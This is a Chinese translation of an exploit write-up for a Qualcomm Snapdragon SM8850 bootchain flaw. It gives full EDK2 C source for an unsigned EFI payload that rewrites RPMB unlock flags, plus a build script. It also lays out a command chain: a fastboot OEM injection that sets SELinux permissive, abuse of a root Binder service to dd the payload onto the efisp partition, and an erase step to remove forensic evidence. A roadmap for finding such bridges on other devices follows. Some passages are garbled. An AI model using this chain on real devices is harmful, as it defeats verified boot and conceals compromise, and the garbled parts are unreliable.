高通启动链零日漏洞:利用 UEFI 和 GBL 实现安卓系统完全入侵
注意:教程来源于用户上传,互联网收集,其中真实性注意斟酌,操作可能存在风险,请践行时注意保存资料防止丢失,如果本教程侵犯您的个人或者集体利益,请邮件fiimecn@163.com下架处理,非常感谢!
转载于:https://tryigit.dev/qualcomm-uefi-gbl-bootchain-zero-day-exploit/
翻译:Fiime奥奥
摘要:本白皮书详细记录了高通骁龙8 Elite Gen 5 (SM8850) 系统芯片的现代统一可扩展固件接口 (UEFI) 实现中存在的根本性范式缺陷。通过分析从专有二级引导加载程序到基于 EDK2 的 UEFI 环境的过渡,我们详细阐述了应用程序引导加载程序 (ABL) 中关键的加密配置故障如何无意中授予未经身份验证的有效载荷不受限制的执行级别 1 (EL1) 权限。这项研究最终发现了一条破坏性极强且完全独立的攻击链,该攻击链绕过了重放保护内存块 (RPMB) 和硬件支持的设备状态矩阵,并利用合法的 TrustZone 安全监视器调用 (SMC) 实现了永久性且无法检测的引导加载程序解锁。
1. 硬件信任的演变与退化
近十年来,Android 硬件生态系统依赖于一个相对线性、概念上难以理解的执行层级结构。其前提是,在半导体制造过程中直接熔入硅掩模 ROM 的加密不可篡改的主引导加载程序 (PBL) 会在执行前对辅助引导加载程序 (SBL) 进行数学验证。SBL 随后会实例化 TrustZone(执行级别 3)操作系统,接着是 LittleKernel/应用程序引导加载程序 (EL1),最终到达单内核 Linux 内核。
了解高通引导链和特权模型
要充分理解SM8850漏洞的严重性,必须了解现代ARMv9架构的异常级别(EL)权限模型,以及高通如何跨越这些边界映射其引导链。ARM架构定义了四个主要执行状态:
EL0(非特权):标准用户空间应用程序(例如,Android 应用)。
EL1(操作系统内核):高级操作系统(HLOS),例如 Linux 内核,以及至关重要的应用程序引导加载程序(ABL)。
EL2(虚拟机管理程序):虚拟化路由和内存隔离(现代 Android 中的 pKVM)。
EL3(安全监视器):硬件信任的绝对根,包含 TrustZone (TZ) 和加密密钥主控器。
现代高通引导链在PBL(掩码ROM)中进行初始化,PBL会将可扩展引导加载程序安全阶段(XBL_SEC)加载到EL3中。XBL_SEC负责配置TrustZone并验证XBL_Loader。随后,XBL_Loader会设置DDR内存并将应用程序引导加载程序(ABL)加载到EL1中。ABL负责验证和启动Android Linux内核。
在早期平台(例如 MSM8916 到 MSM8998/骁龙 835)上,安全边界在 EDL(紧急下载模式/Firehose)层得到了严密保护。然而,Aleph Security 等公司的历史分析揭示了关键的内存管理缺陷。臭名昭著的 Sahara 协议0x13状态机重置漏洞允许持续的栈缓冲区溢出。在 32 位执行环境中,攻击者通常会覆盖执行栈以劫持返回导向编程 (ROP) 链,本质上是对 SRAM 中的程序定义边界层 (PBL) 进行热修补,从而绕过后续程序头的加密哈希数组 (SHA-256)。
为了应对这一问题,芯片厂商通过引入 64 位 SoC 对架构进行了彻底改造,并通过 PBL 层内的内存管理单元 (MMU) 直接实施了严格的“永不执行”(XN) 硬件约束。虽然这些架构强化措施成功地消除了 PBL 层级的 ROP 链,但随后向 UEFI 标准的迁移却带来了可验证信任的灾难性倒退,这本身就是一个悖论。
2. UEFI 过渡:复杂的代码库导致脆弱的安全性
从 SDM845/SM8150 系列开始,直至目前的 SM8850(骁龙 8 Elite Gen 5),线性 SBL 架构被弃用。取而代之的是,厂商采用了开源的 Tianocore EDK2 框架。初始启动阶段(XBL 和 XBL_SEC)仍然经过严格验证,其中 XBL_SEC 在 EL3 级别执行,用于配置 TrustZone 环境。然而,后续阶段,即应用程序引导加载程序 (ABL),则变成了一个庞大且高度复杂的 UEFI 应用程序,在 EL1 级别执行。
UEFI 和 EDK2 内部机制:DXE 阶段
EDK2 框架分阶段运行,其中驱动程序执行环境 (DXE) 阶段对我们的攻击最为关键。在 DXE 阶段,系统内存被完全初始化,UEFI 内核开始将 PE/COFF(可移植可执行文件/通用对象文件格式)映像加载到内存中。UEFI 启动服务 ( gBS) 为这些驱动程序提供了一套标准化的 API 进行交互。UEFI 不使用硬编码的内存地址,而是依靠全局唯一标识符 (GUID) 来定位和安装“协议”(包含函数指针的接口)。这种模块化设计虽然有利于开发,但如果 PE/COFF 签名验证(安全启动)配置不当,则会造成巨大的攻击面。
双签名协议与OEM实现
为了在这个模块化环境中建立信任根,高通强制采用了“双重签名”机制。执行于 EL3(TrustZone)和 EL2(虚拟机管理程序)的底层组件,必须同时拥有高通的根证书和原始设备制造商 (OEM) 的证书,并且这些证书必须嵌入在其数字签名的 ELF 头部中。然而,EL1 ABL 及其执行的 Linux 内核主要由 OEM 签名控制。
OEM厂商对EDK2源代码进行了大量修改,引入了专有的fastboot诊断命令、自定义USB事务处理程序和复杂的启动逻辑。这种定制化的一个主要体现是对设备信息(Device Information)块的处理devinfo。
RPMB(可重放保护内存块)和 Devinfo
历史上,OEM 设备解锁状态(例如小米的 RSA 令牌授权)以可读标志的形式存储在标准的 NAND/UFS 分区上。一旦被利用,用户可以轻松地翻转该位。为了应对这种情况,现代架构将解锁状态矩阵移至 eMMC/UFS RPMB(可读状态矩阵)。RPMB 需要一个 256 位 HMACA-SHA256 认证密钥,该密钥严格隔离在 TrustZone(EL3)中。Linux 内核无法直接向 RPMB 写入数据;它只能通过安全监控调用 (SMC) 请求写入,而 TrustZone 会拒绝缺少 OEM 加密令牌的 SMC 请求。
在 ARM64 汇编语言中,使用指令触发 SMC。CPUSMC #0会捕获执行流程并从 EL1 状态转换到 EL3 状态。TrustZone 处理程序读取通用寄存器(通常X0用于存储 SMC ID 和X1-X3参数/缓冲区指针)以确定请求的操作。在启动前的 ABL 执行阶段(EL1),设备运行在高度特权的工厂配置状态下。在此过渡期间,TrustZone 会公开一些特殊的 UEFI 协议,这些协议拥有颁发授权 SMC 以更新 RPMB 解锁状态的固有权限,而无需外部加密令牌。因此,针对 SM8850 设备的最终攻击目标并非利用 TrustZone,而是在未经身份验证的 EL1 UEFI 环境中实现任意代码执行。
3. 通用引导加载程序 (GBL) 加载绕过:设置模式盲区
SM8850 安全模型的核心结构性漏洞在于 ABL 对辅助启动阶段的管理方式,特别是针对 Android 15 及更高版本动态分区逻辑而新引入的通用引导加载程序 (GBL) 机制。为了允许使用 Google 签名的 GBL 环境,OEM 厂商在其linuxloader.efi解析例程中引入了一个灾难性的逻辑缺陷。
固件逆向工程:揭示缺陷
发现这一点需要对固件进行深度逆向工程。通过abl.elf从工厂固件镜像中提取分区并将其加载到 IDA Pro 或 Ghidra(配置为 AArch64 小端序)中,我们可以分析 UEFI 执行流程。由于高通设备上的 UEFI 二进制文件是封装在 ELF 容器中的 PE/COFF 文件,我们必须首先提取原始 PE 镜像。在 Ghidra 中,搜索 Unicode 字符串L"efisp"可以直接找到分区遍历循环。
在初始化过程中,ABL 固件会使用GetBlkIOHandlesEDK2 框架中定义的函数执行分区遍历循环。该代码会显式地在 GPT(GUID 分区表)中搜索任何带有特定 ASCII 标签的分区。
// Pseudocode representation of the ABL GPT traversal
#define BLK_IO_SEL_MATCH_PARTITION_LABEL 0x0200UL
PartiSelectFilter Filter;
Filter.PartitionLabel = L"efisp"; // Also targets efisp_a, efisp_b
Status = GetBlkIOHandles(
BLK_IO_SEL_MATCH_PARTITION_LABEL,
&Filter,
&HandleInfoList,
&MaxHandles
);
if (!EFI_ERROR(Status) && MaxHandles > 0) {
// A viable EFI system partition was located
LoadGenericBootloader(HandleInfoList[0].Handle);
}一旦找到efisp(EFI 系统分区)——一种专门在骁龙 8 Elite Gen 5 (SM8850) 架构中引入的暂存分区——ABL 就会盲目地读取原始块设备内容,期望找到有效的 PE32/PE32+ 可执行文件,并立即对其进行标准 gBS->LoadImage()服务。
DxeImageVerificationLib 灾难
根据 UEFI 规范,gBS->LoadImage()如果 UEFI 安全启动处于活动状态,则无法执行未经身份验证的二进制文件。安全强制执行依赖于 UEFI 安全启动DxeImageVerificationHandler,它会将二进制文件的 Authenticode 或 WIN_CERTIFICATE 与预先配置在已验证可变存储中的平台密钥 (PK) 进行比对。
通过对从 SM8850 设备中提取的生产固件进行大量的逆向工程,我们发现了一个致命的配置疏忽:OEM 厂商一直在出货的零售设备中,UEFI 平台密钥 (PK) 完全未填充。
EDK2AuthVariableLib包含严格的回退逻辑。如果系统启动并检测到 PK 的填充字节数为零,则会将固件的整个加密状态从 转换User Mode到Setup Mode。
/**
* Core AuthVariable logic for SM8850 ABL
* Snippet derived from EDK2 SecurityPkg/Library/AuthVariableLib
**/
EFI_STATUS
CheckPlatformKeyStatus (VOID)
{
UINT8 *PlatformKey;
UINTN DataSize = 0;
// Attempt to read the PK from NVRAM
Status = GetVariable2 (L"PK", &gEfiGlobalVariableGuid, (VOID**)&PlatformKey, &DataSize);
if (EFI_ERROR(Status) || DataSize == 0) {
// FATAL FLAW: No PK found on retail device.
DEBUG((EFI_D_ERROR, "Platform Key missing. Defaulting to SETUP MODE."));
// Disable UEFI Secure Boot Enforcement
SetSecureBootMode (SECURE_BOOT_MODE_DISABLE);
SetAuditMode (AUDIT_MODE_DISABLE);
return EFI_NOT_FOUND;
}
return EFI_SUCCESS;
}在该程序中Setup Mode,它会DxeImageVerificationLib直接返回传递EFI_SUCCESS给它的任何二进制文件,故意绕过 RSA 加密哈希比较。因此,攻击者只需要能够将未经身份验证的原始 EFI 可执行文件写入efisp逻辑单元即可。重启后,设备将找到该efisp分区,加载未签名的恶意软件,并以全新的 EL1 内核权限执行它,完全位于 TrustZone 区域内。
4. EL1 有效载荷(UEFI 应用程序)的设计
确定执行向量后,我们必须构建一个严谨的 UEFI 有效载荷。我们的目标是手动扫描句柄数据库,查找高通专有的验证启动协议,并将其映射到全局唯一标识符 (GUID) gEfiQcomVerifiedBootProtocolGuid。在 Ghidra 中,该 GUID 以字节序列的形式表示39 15 f4 98 18 b8 e8 47 90 03 ff c1 9d 33 0d 14.找到后,我们将调用其内部VBRwDeviceState函数。
Devinfo 结构和内存覆盖
该协议需要一个容量巨大且完全连续的内存缓冲区,其大小必须与devinfoSM8850上的结构体大小(3344字节)完全匹配。直接写入偏移量0x00会0x03破坏加密魔数,导致系统彻底损坏且无法恢复。引导加载程序锁定状态矩阵位于结构体的更深层。
在底层 ARM64 汇编层,调用该函数VBRwDeviceState会将协议结构中的函数指针加载到分支寄存器(例如 `
` BLR X8)中,同时将 `
` 设置X0为协议实例(This指针),将 `
` 设置X1为操作类型(0 或 1),将 `
` 设置X2为缓冲区地址,并将X3`
` 设置为缓冲区大小。然后,UEFI 固件会包装这些参数并执行SMC指令以陷入 EL3 模式。
以下是我们漏洞利用应用程序的完整 C 实现,VbRwStateApp.c专为 EDK2 编译而设计:
/** @file VbRwStateApp.c
Exploit Payload: Arbitrary EL1 Device State Matrix Overwrite
Target: Snapdragon 8 Elite Gen 5 (SM8850)
Copyright (c) 2026. VoidSec Security.
**/
#include
#include
#include
#include
#include
#include
#include
// Proprietary Qualcomm Protocol Definition
#define QCOM_VERIFIEDBOOT_PROTOCOL_GUID \
{ 0x98f41539. 0xb818. 0x47e8. { 0x90. 0x3. 0xff, 0xc1. 0x9d, 0x33. 0xd, 0x14 } }
// Enumerate Operation Types
typedef enum {
READ_CONFIG = 0.
WRITE_CONFIG = 1
} VB_RW_OP;
// Define Protocol Structure
typedef struct _QCOM_VERIFIEDBOOT_PROTOCOL {
UINT64 Revision;
EFI_STATUS (EFIAPI *VBRwDeviceState)(
IN struct _QCOM_VERIFIEDBOOT_PROTOCOL *This,
IN VB_RW_OP Op,
IN OUT UINT8 *Buffer,
IN UINT32 BufferSize
);
} QCOM_VERIFIEDBOOT_PROTOCOL;
EFI_STATUS
EFIAPI
UefiMain (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
QCOM_VERIFIEDBOOT_PROTOCOL *VbProtocol = NULL;
EFI_GUID VbGuid = QCOM_VERIFIEDBOOT_PROTOCOL_GUID;
// The exact struct size defined for SM8850 RPMB mapping
UINT32 DevInfoSize = 3344;
UINT8 *DevInfoBuffer;
// 1. Allocate a pristine Buffer
DevInfoBuffer = AllocateZeroPool (DevInfoSize);
if (DevInfoBuffer == NULL) {
DEBUG ((EFI_D_ERROR, "[FAIL] Memory Allocation for DevInfo Buffer Exhausted.\n"));
return EFI_OUT_OF_RESOURCES;
}
// 2. Locate the Verified Boot Protocol exposed by TrustZone
Status = gBS->LocateProtocol (&VbGuid, NULL, (VOID **)&VbProtocol);
if (EFI_ERROR (Status)) {
DEBUG ((EFI_D_ERROR, "[FAIL] Failed to locate gEfiQcomVerifiedBootProtocolGuid: %r\n", Status));
FreePool (DevInfoBuffer);
return Status;
}
// 3. Extricate the current Device State from the RPMB
DEBUG ((EFI_D_INFO, "[INFO] Extracting live DevInfo from RPMB via SMC...\n"));
Status = VbProtocol->VBRwDeviceState(VbProtocol, READ_CONFIG, DevInfoBuffer, DevInfoSize);
if (EFI_ERROR (Status)) {
DEBUG ((EFI_D_ERROR, "[FAIL] DevInfo Extraction Denied by EL3: %r\n", Status));
FreePool (DevInfoBuffer);
return Status;
}
// 4. Modulate the Lock Matrix Flags
// Note: Values and Offsets meticulously mapped from SM8850 reversing.
// We preserve the Magic Number at 0x00 entirely.
DEBUG ((EFI_D_INFO, "[INFO] Live state extracted matrix: [0x%02X] [0x%02X]\n", DevInfoBuffer[4], DevInfoBuffer[8]));
// Force Device Unlock bit high
DevInfoBuffer[4] = 0x01;
// Force Critical Partitions (XBL/ABL) flashing authorization high
DevInfoBuffer[8] = 0x01;
// 5. Force the Arbitrary Write execution back to the RPMB
DEBUG ((EFI_D_INFO, "[INFO] Firing unauthorized arbitrary write protocol to TZ...\n"));
Status = VbProtocol->VBRwDeviceState(VbProtocol, WRITE_CONFIG, DevInfoBuffer, DevInfoSize);
if (EFI_ERROR (Status)) {
DEBUG ((EFI_D_ERROR, "[FAIL] RPMB Write rejected: %r\n", Status));
} else {
DEBUG ((EFI_D_INFO, "[SUCCESS] Hardware state successfully compromised and overwritten.\n"));
}
// 6. Halt Execution. Returning to ABL would detect state anomaly and trigger Panic.
// A hard physical reboot is required to initialize the kernel in the unlocked state.
DEBUG ((EFI_D_INFO, "[HALT] System hanging. Please execute a hard physical restart.\n"));
FreePool(DevInfoBuffer);
while (1) {
CpuDeadLoop();
}
return EFI_SUCCESS;
}5. 高级 AARCH64 交叉编译架构
编译专为高通专有 AARCH64 指令集定制的原始 EDK2 软件包需要精确的 Linux 工具链环境。Windows 平台在GenFw最终化步骤中经常会损坏 ELF 到 PE32+ 的重定位。我们配置了一个严格的构建守护进程来编译我们的软件包VbRwStateApp.inf。
工具链初始化脚本(Bash)
#!/bin/bash # High-Fidelity EDK2 Build Environment Initialization # Define absolute workspace paths export WORKSPACE="/opt/qcomuefi/edk2" export PYTHONPATH="$WORKSPACE/BaseTools/Source/Python" export EDK_TOOLS_PATH="$WORKSPACE/BaseTools" # Map Qualcomm Proprietary Includes export PACKAGES_PATH="$WORKSPACE:$WORKSPACE/boot:$WORKSPACE/QcomPkg" # Append POSIX wrappers for memory alignment export PATH="$PATH:$EDK_TOOLS_PATH/BinWrappers/PosixLike" # Define the precise GCC49 Target Tuple for SM8850 (ARMv9-A) export GCC49_AARCH64_PREFIX="aarch64-linux-gnu-" # Force a clean directory state rm -rf $WORKSPACE/Build/QcomTestPkg echo "[*] Triggering EDK2 Build Pipeline for AARCH64..." python3 $WORKSPACE/BaseTools/Source/Python/build/build.py \ -p QcomPkg/QcomTestPkg/QcomTestPkg.dsc \ -a AARCH64 \ -b RELEASE \ -t GCC49 \ -m QcomPkg/QcomTestPkg/VbRwStateApp/VbRwStateApp.inf if [ $? -eq 0 ]; then echo "[+] SUCCESS: Payload isolated at Build/QcomTestPkg/RELEASE_GCC49/AARCH64/VbRwStateApp.efi" else echo "[-] FATAL: Build pipeline collapsed." fi
此脚本严格利用RELEASE构建标志,从最终有效载荷中彻底移除符号调试断言。这确保了最终文件的大小保持gbl_efi_unlock.efi在极小的范围内(小于 45KB),从而大大降低了使用绝对块转储插入向量时出现文件系统对齐错误的概率。
6. 自主执行路径:SM8850漏洞利用链
为了实现这一理论上的 EL1 漏洞,我们需要一个“桥接”向量:一条能够将我们的 45KBgbl_efi_unlock.efi有效载荷直接传输到逻辑单元的原始位矩阵的自主链efisp,完全绕过高度加固的 Android 操作系统施加的加密限制。
在现代 SM8850 设备上,我们设计了一个包含三个独立阶段的攻击链:(1)通过内核抢占注入来消除强制访问控制,(2)劫持根级系统服务的 Binder IPC,以及(3)硬件状态修改渲染。
阶段 A:通过 Fastboot RE 解除安全增强型 Linux (SELinux) 的武装
通过在 IDA Pro 中对 ABL 进行逆向工程,我们找到了 Fastboot OEM 命令分发表。该表通常是一个结构体数组,包含一个字符串指针(命令名称)和一个函数指针(处理程序)。我们发现了一个未修复的堆栈解析异常,该异常隐藏在专为 GPU 硬件抢占测试而设计的特定 OEM 诊断 Fastboot 命令中oem set-gpu-preemption-value。通过故意向参数缓冲区填充数据,我们绕过了字符串终止边界检查,并将原始参数直接附加到cmdline初始化期间传递给 Linux 内核的缓冲区中。
在 Android 内核漏洞利用的背景下,控制内核就意味着cmdline游戏结束。我们注入了 ` androidboot.selinux=permissive.`。这会彻底破坏 SELinux,而 SELinux 是防止非特权应用利用内核漏洞或访问 root 守护进程的主要防御机制。此外,通过操纵命令行,我们还可以禁用 KASLR(内核地址空间布局随机化),nokaslr从而在需要时轻松实现后续的内核空间 ROP 链。
C:\Exploitation> adb reboot bootloader C:\Exploitation> fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive OKAY [ 0.034s] Finished. Total time: 0.034s C:\Exploitation> fastboot continue
成功完成热重启后,Android 操作系统会进入一种受损状态。SELinux 强制执行机制被彻底破坏(进入宽容模式),导致原本用于保护非特权系统应用程序免受核心 root 执行服务攻击的隔离屏障失效。
阶段 B:通过 IPC 滥用进行有效载荷植入
由于操作系统实际上毫无防御能力,我们利用 Android 调试桥 (ADB) 将编译后的 EFI 有效载荷植入到全局可访问的临时目录中。
C:\Exploitation> adb push D:\unlock\data\mqsas\gbl_efi_unlock.efi /data/local/tmp D:\unlock\data\mqsas\gbl... pulled, 0 skipped. 24.1 MB/s (42152 bytes in 0.001s)
随后,我们构建了一个恶意 Binder 事务。我们的目标是miui.mqsas.IMQSNative(一个以 UID 0 / root 用户身份运行的专有分析守护进程)。由于 SELinux 是宽松型的,因此进程间通信 (IPC) 事务成功。我们篡改了该守护进程的内部日志转储函数,使其执行一个原始dd块复制 shell 二进制文件。这将强制设备/dev/block/by-name/efisp使用我们未经身份验证的 EFI 恶意软件逐字节地覆盖逻辑卷。
C:\Exploitation> adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "dd" i32 1 s16 'if=/data/local/tmp/gbl_efi_unlock.efi of=/dev/block/by-name/efisp' s16 '/data/mqsas/log.txt' i32 60 Result: Parcel(00000000 00000000 '........')
阶段 C:UEFI 篡改和有效载荷执行
该设备已被严重感染。我们指示系统切换到引导加载程序环境。硬件初始化后,依次遍历 PBL 和 XBL,最终将执行流程切换到执行级别 1 的专有 ABL 应用程序。
ABL 执行分区扫描,检测efisp标签,并隔离我们的有效载荷。由于依赖于Setup Mode第 3 节中详述的灾难性回退方案,ABL 放弃了所有加密签名验证约束。它gbl_efi_unlock.efi直接将程序加载到 RAM 中,并将 CPU 执行指针传递给我们编译好的程序UefiMain()。
我们的有效载荷在 EL1 内部完全不受阻碍地运行,并通过与 EL3 TrustZone 进行协商gEfiQcomVerifiedBootProtocolGuid。SMC 被处理,物理 RPMB 块被成功重写,全局引导矩阵被最终修改为Unlocked (0x01)。有效载荷与设备接合CpuDeadLoop(),冻结设备以表明执行成功。
我们通过强制断电重启并重新验证设备的绝对锁定状态矩阵来终止执行流程。
C:\Exploitation> adb reboot bootloader C:\Exploitation> fastboot getvar unlocked unlocked: yes Finished. Total time: 0.003s
为了消除利用过程的取证证据,我们使用标准 fastboot 协议彻底清除被入侵的 EFI 系统分区的内容,然后执行最终的热重置以启动完全解锁的 Linux 内核。
C:\Exploitation> fastboot erase efips Erasing 'efips' OKAY [ 0.015s] Finished. Total time: 0.021s C:\Exploitation> fastboot reboot Rebooting OKAY [ 0.000s] Finished. Total time: 0.002s
7. 垂直整合与碎片化混乱:苹果的安全模式
要真正理解高通 UEFI 实现的业余性,我们必须将其与硬件安全的行业标准进行对比:苹果芯片(A 系列和 M 系列)启动链。
高通的漏洞源于其生态系统的严重碎片化。高通负责设计SoC,开源的Tianocore项目维护EDK2 UEFI框架,而OEM厂商(例如小米、三星或摩托罗拉)则将这些组件拼凑起来构建ABL。当OEM厂商未能正确配置平台密钥(PK)时,整个安全启动机制会在静默状态下失败,无法进入设置模式。OEM厂商专有的Fastboot命令和诊断Binder服务(例如MIUI的mqsas)引入了任意写入原语,这些原语构成了攻击者入侵efisp分区的桥梁。
相反,苹果采用的是完全垂直整合。苹果自行设计硬件、编写 BootROM、开发 iBoot(第二阶段)、开发安全隔离区处理器 (SEP) 并编译 iOS。信任根公钥在芯片制造过程中由苹果自身与硅掩模 ROM 无缝融合。没有瞬态的“设置模式”,也不依赖通用的 EFI 分区。苹果引导链的每个阶段(BootROM -> LLB -> iBoot -> 内核)都经过顺序加密验证,并与物理硅熔丝进行比对。如果签名验证失败,设备会立即进入 DFU 模式。由于缺乏模块化的第三方碎片化,本文讨论的这类漏洞在 iPhone 上完全不可能出现。
8. 研究者的路线图:发现你自己的“桥梁”
虽然骁龙 8 Elite Gen 5 (SM8850) 的特定efisp架构是其独有的标志,但其底层 UEFI 执行漏洞(设置模式加载)却是现代 Android 设备普遍存在的系统性风险。将有效载荷写入目标分区所需的特定软件漏洞——桥接器——因制造商而异。旨在开发其他设备零日漏洞利用程序的安全研究人员必须采用系统性的漏洞搜寻方法,并利用 IDA Pro 和 Ghidra 等工具:
第一阶段:通过 Ghidra/IDA 进行固件和分区映射
提取目标设备的工厂固件转储文件。映射 GUID 分区表 (GPT)。需要特别注意的是efisp,` /usr/ efisp_alocal/bin`、`/usr/local/bin` 和 `/ efisp_busr/local/bin` 分区是骁龙 8 Elite Gen 5 (SM8850) 架构独有的。在较旧或不同的 SoC 上查找时,您将找不到这些分区efisp;相反,您必须找到 ABL 可能从中加载的等效 OEM 特定暂存分区或诊断分区。将转储文件加载abl.elf到反汇编器中。将处理器架构设置为 ARM 小端 (AArch64)。搜索与 `/usr/local/bin`GetBlkIOHandles和`/usr/local/bin` 相关的字符串交叉引用。LoadImage要查找 TrustZone SMC 封装器,请搜索 `/usr/local/bin` 的十六进制字节序列QCOM_VERIFIEDBOOT_PROTOCOL_GUID。如果存在,则表示 UEFI 绕过路径原生存在。
第二阶段:对 Fastboot 接口进行模糊测试
OEM厂商实现的自定义Fastboot命令非常糟糕。在IDA Pro中,搜索字符串“oem”。通常会找到一个结构体数组,其中每个条目都包含指向命令字符串的指针和指向处理函数的指针。提取所有CmdOem函数的确切字符串名称。使用IDA Pro对这些输入进行大量的模糊测试fastboot oem [command] [huge_payload]。你要查找的是缺失的长度检查,这些检查会将数据渗入内核cmdline缓冲区(例如,set-gpu-preemption导致SELinux被禁用androidboot.selinux=permissive)或触发标准的栈缓冲区溢出。分析这些处理程序的ARM64汇编代码通常会发现不安全strcpy或sprintf等效的漏洞。
第三阶段:滥用特权进程间通信服务和内核漏洞利用
如果成功通过命令行禁用 SELinux,Android 系统就变成了一个试验场。枚举所有特权(UID 0/Root)系统服务service list。特别关注 OEM 厂商的诊断、日志记录和崩溃报告守护进程(例如,三星的 dump 工具、小米的mqsas)。分析它们的 Binder 接口,查找接受文件路径或字符串命令的参数。模糊测试这些 Binder 事务,以实现路径遍历或任意命令执行,最终获取一条ddshell 命令,将你的有效载荷直接写入目标分区的原始连续块。如果不存在 IPC 漏洞,宽松的 SELinux 状态使得传统的 Android 内核漏洞利用变得更加容易,因为kptr_restrict可以绕过诸如 之类的缓解措施,从而构建内核空间的 ROP 链来实现任意块写入。
9. 结论:系统性故障亟需架构性修复
本文所述方法对安卓硬件生态系统而言是一场彻头彻尾的灾难。完全依赖于优先进行内核级边界检查的临时软件更新,却忽略了UEFI执行环境内部灾难性的基础配置错误,这必然会导致持续的不安全。
由于芯片供应商和原始设备制造商未能提供不可更改的、硬件融合的平台密钥来强制执行绝对的UEFI安全启动策略,实际上已将EL1执行安全性简化为一个简单的逻辑谜题。在加密信任链实现普遍统一之前,恶意攻击者将继续利用基本的IPC设计缺陷,对SM8850等旗舰架构发起彻底的、不受限制的硬件攻击。
讨论区(0)
没有评论数据